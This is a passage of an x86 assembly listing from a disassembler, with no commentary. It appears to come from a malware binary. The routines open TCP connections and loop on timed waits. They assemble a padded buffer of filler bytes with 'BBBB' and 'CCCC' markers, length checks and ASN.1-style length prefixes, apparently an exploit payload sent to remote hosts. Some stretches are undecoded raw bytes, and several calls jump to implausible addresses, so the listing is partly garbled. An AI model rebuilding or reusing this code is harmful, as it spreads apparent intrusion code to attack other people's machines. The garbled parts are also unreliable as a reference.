		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C125
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40C4A3


loc_40C498:				; CODE XREF: sub_40C125+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4CA
		push	1Eh
		call	esi
		jmp	short loc_40C498
; ---------------------------------------------------------------------------


loc_40C4A3:				; CODE XREF: sub_40C125+371j
		call	near ptr 2680932h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321E4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40C4CA:				; CODE XREF: sub_40C125+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C429


loc_40C4D8:				; CODE XREF: sub_40C125+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C582
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4ED:				; CODE XREF: sub_40C125+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB7A0[eax*8]
		push	eax
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321A4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C53B:				; CODE XREF: sub_40C125+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB7A4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33F
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C572
		push	offset dword_4CD7A0
		call	near ptr 26E06AAh
		nop


loc_40C572:				; CODE XREF: sub_40C125+440j
		push	[ebp+var_2C]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_40C582:				; CODE XREF: sub_40C125+3B6j
					; sub_40C125+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB7A4[eax*8], 1
		jnz	loc_40C4ED
		push	7D0h
		call	esi
		jmp	short loc_40C582
sub_40C125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59C	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C65A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E59C[ecx], esi
		jz	short loc_40C65A
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB6E0
		push	eax
		mov	edi, offset dword_4CE164
		push	offset dword_432284
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A73
		push	edi
		call	sub_4151AD
		add	esp, 28h


loc_40C65A:				; CODE XREF: sub_40C59C+5Dj
					; sub_40C59C+7Ej
		push	esi
		call	dword_4CB6EC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59C	endp

; ---------------------------------------------------------------------------
byte_40C669	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+603Fo
		dd 134EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 4CBD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD075h, 0E015FFE0h, 50004CB6h, 0FECC858Dh, 0AC68FFFFh
		dd 50004322h, 0F1D1E8h,	0CC858D00h, 68FFFFFEh, 1FFh, 0DC458B50h
		dd 234C069h, 90050000h,	500043E3h, 0EF1BE8h, 1CC48300h
		dd 50F8458Dh, 0FF4C858Dh, 5057FFFFh, 40C59C68h,	0E8575700h
		dd 2273910h, 89C73B90h,	0B74FC45h, 75F47D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E890FC75h, 22541D5h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458DD6FFh, 50046AE0h, 5008458Dh, 0FBE7E8h, 0CC48300h
		dd 0FF0875FFh, 4CB57C15h, 89504000h, 15FF0845h,	4CB650h
		dd 8D084589h, 46A0845h,	0E0458D50h, 0FBBEE850h,	0C4830000h
		dd 0FF3DE90Ch
		db 2 dup(0FFh)
word_40C75A	dw 8B55h		; DATA XREF: sub_401ACD+5D4Fo
		dd 30EC81ECh, 53000001h, 56085D8Bh, 8B2B6A57h, 0BD8D59F3h
		dd 0FFFFFF50h, 358BA5F3h, 427078h, 0A483C7h, 10000h, 0FF330000h
		dd 0FFD475FFh, 15FFE475h, 4CB6E0h, 0D0858D50h, 68FFFFFEh
		dd 432300h, 0F0E0E850h,	858D0000h, 0FFFFFED0h, 1FF68h
		dd 458B5000h, 34C069E0h, 5000002h, 43E390h, 0EE2AE850h
		dd 0C4830000h, 0FC458D1Ch, 50858D50h, 57FFFFFFh, 0C59C6850h
		dd 57570040h, 381EE890h, 0C73B0227h, 74084589h,	0F87D390Bh
		dd 326A0675h, 0F5EBD6FFh, 900875FFh, 2540E4E8h,	8CB3FF02h
		dd 89000000h, 0A8BBh, 8BD6FF00h, 453BD445h, 0FF0874D8h
		dd 6DE9D445h, 0FFFFFFFFh, 15FFE475h, 4CB6E0h, 0D0858D50h
		dd 68FFFFFEh, 4322D4h, 0F050E850h, 8D570000h, 0FFFED085h
		dd 0EC75FFFFh, 54858D50h, 50FFFFFFh, 0FF50B5FFh, 20E8FFFFh
		dd 0FFFFFFD2h, 0B8E8E075h, 83FFFFEBh, 0C03324C4h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40C867	proc near		; CODE XREF: sub_40CADB+Ep
					; sub_40CADB+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C867	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C871	proc near		; CODE XREF: sub_40CADB+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A3
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A3:				; CODE XREF: sub_40C871+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AB	proc near		; CODE XREF: sub_40C9A5+18p
					; sub_40CA1F+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F7
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F7:				; CODE XREF: sub_40C8AB+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C900	proc near		; CODE XREF: sub_40C9A5+5Ep
					; sub_40C9A5+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C910
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C910:				; CODE XREF: sub_40C900+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C900	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C919	proc near		; CODE XREF: sub_40C9A5+20p
					; sub_40CA80+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C946
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C94A


loc_40C946:				; CODE XREF: sub_40C919+Dj
		xor	al, al
		jmp	short loc_40C9A1
; ---------------------------------------------------------------------------


loc_40C94A:				; CODE XREF: sub_40C919+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96F
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C989
; ---------------------------------------------------------------------------


loc_40C96F:				; CODE XREF: sub_40C919+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C989:				; CODE XREF: sub_40C919+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A1:				; CODE XREF: sub_40C919+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A5	proc near		; CODE XREF: sub_40CADB+89p
					; sub_40CADB+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CB50C
		call	sub_40C8AB
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DF
		xor	al, al
		jmp	short loc_40CA1B
; ---------------------------------------------------------------------------


loc_40C9DF:				; CODE XREF: sub_40C9A5+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C900
		mov	al, 1


loc_40CA1B:				; CODE XREF: sub_40C9A5+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1F	proc near		; CODE XREF: sub_40CA53+14p
					; sub_40CA70+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA53	proc near		; CODE XREF: sub_40CADB+F0p
					; sub_40CADB+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1F
		pop	esi
		retn	4
sub_40CA53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA70	proc near		; CODE XREF: sub_40CABC+Bp
					; sub_40CADB+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1F
		retn	8
sub_40CA70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA80	proc near		; CODE XREF: sub_40CABC+16p
					; sub_40CADB+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C919
		test	al, al
		jz	short loc_40CAB9
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CFE0
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB9:				; CODE XREF: sub_40CA80+Fj
		pop	esi
		leave
		retn
sub_40CA80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABC	proc near		; CODE XREF: sub_40CADB+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA70
		test	al, al
		jz	short loc_40CAD7
		mov	ecx, esi
		call	sub_40CA80


loc_40CAD7:				; CODE XREF: sub_40CABC+12j
		pop	esi
		retn	8
sub_40CABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADB	proc near		; CODE XREF: ___:0040D362p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C867
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2F
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2F
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C867
		lea	ecx, [ebp+var_20]
		call	sub_40C867
		lea	ecx, [ebp+var_50]
		call	sub_40C867
		lea	ecx, [ebp+var_18]
		call	sub_40C867
		lea	ecx, [ebp+var_40]
		call	sub_40C867
		lea	ecx, [ebp+var_38]
		call	sub_40C867
		lea	ecx, [ebp+var_28]
		call	sub_40C867
		push	4
		push	offset dword_432338
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		push	3
		push	offset dword_432340
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		lea	ecx, [ebp+var_30]
		call	sub_40C9A5
		lea	ecx, [ebp+var_30]
		call	sub_40CA80
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1F
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1F
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_20]
		call	sub_40C9A5
		push	offset loc_4326BC
		lea	ecx, [ebp+var_50]
		call	sub_40CA53
		lea	ecx, [ebp+var_50]
		call	sub_40C9A5
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C871
		lea	ecx, [ebp+var_58]
		call	sub_40C9A5
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABC
		lea	ecx, [ebp+var_58]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA53
		push	4
		push	offset dword_432344
		lea	ecx, [ebp+var_18]
		call	sub_40CA1F
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1F
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_18]
		call	sub_40C9A5
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA70
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA70
		lea	ecx, [ebp+var_40]
		call	sub_40CA80
		lea	ecx, [ebp+var_18]
		call	sub_40C900
		lea	ecx, [ebp+var_50]
		call	sub_40C900
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA70
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA70
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA70
		lea	ecx, [ebp+var_38]
		call	sub_40CA80
		lea	ecx, [ebp+var_20]
		call	sub_40C900
		lea	ecx, [ebp+var_30]
		call	sub_40C900
		lea	ecx, [ebp+var_40]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_28]
		call	sub_40C9A5
		push	2
		push	offset dword_4326B0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1F
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA70
		lea	ecx, [ebp+var_28]
		call	sub_40CA80
		lea	ecx, [ebp+var_38]
		call	sub_40C900
		lea	ecx, [ebp+var_10]
		call	sub_40C867
		lea	ecx, [ebp+var_8]
		call	sub_40C867
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_28]
		call	sub_40C900
		push	offset dword_4326AC
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	offset dword_4326A8
		lea	ecx, [ebp+var_10]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		push	offset dword_43269C
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	(offset	loc_432697+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3D
; ---------------------------------------------------------------------------


loc_40CE2F:				; CODE XREF: sub_40CADB+1Bj
					; sub_40CADB+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3D:				; CODE XREF: sub_40CADB+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE41	proc near		; CODE XREF: sub_40CF05+A1p
					; sub_40CF05+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_40CEA8
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAC


loc_40CEA8:				; CODE XREF: sub_40CE41+54j
		xor	eax, eax
		jmp	short loc_40CEBC
; ---------------------------------------------------------------------------


loc_40CEAC:				; CODE XREF: sub_40CE41+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB66C


loc_40CEBC:				; CODE XREF: sub_40CE41+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEC0	proc near		; CODE XREF: sub_40CF05+81p
					; sub_40CF05+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB650
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 4
		jz	short loc_40CEEA
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEEA:				; CODE XREF: sub_40CEC0+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CB6A4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF05	proc near		; CODE XREF: sub_40CFDF+48p
					; ___:0040D453p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2E
		xor	al, al
		jmp	loc_40CFDA
; ---------------------------------------------------------------------------


loc_40CF2E:				; CODE XREF: sub_40CF05+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_4323D4
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_432404
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CE36C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43234C
		push	ebx
		call	sub_40CEC0
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF96


loc_40CF92:				; CODE XREF: sub_40CF05+B5j
		xor	bl, bl
		jmp	short loc_40CFD1
; ---------------------------------------------------------------------------


loc_40CF96:				; CODE XREF: sub_40CF05+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEC0
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF92
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		add	esp, 10h
		mov	bl, 1


loc_40CFD1:				; CODE XREF: sub_40CF05+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFDA:				; CODE XREF: sub_40CF05+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDF	proc near		; CODE XREF: ___:0040D439p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432410
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D01A
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE41
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D01A
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01E


loc_40D01A:				; CODE XREF: sub_40CFDF+1Bj
					; sub_40CFDF+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01E:				; CODE XREF: sub_40CFDF+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF05
		add	esp, 0Ch
		leave
		retn
sub_40CFDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D031	proc near		; CODE XREF: sub_40D07D+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
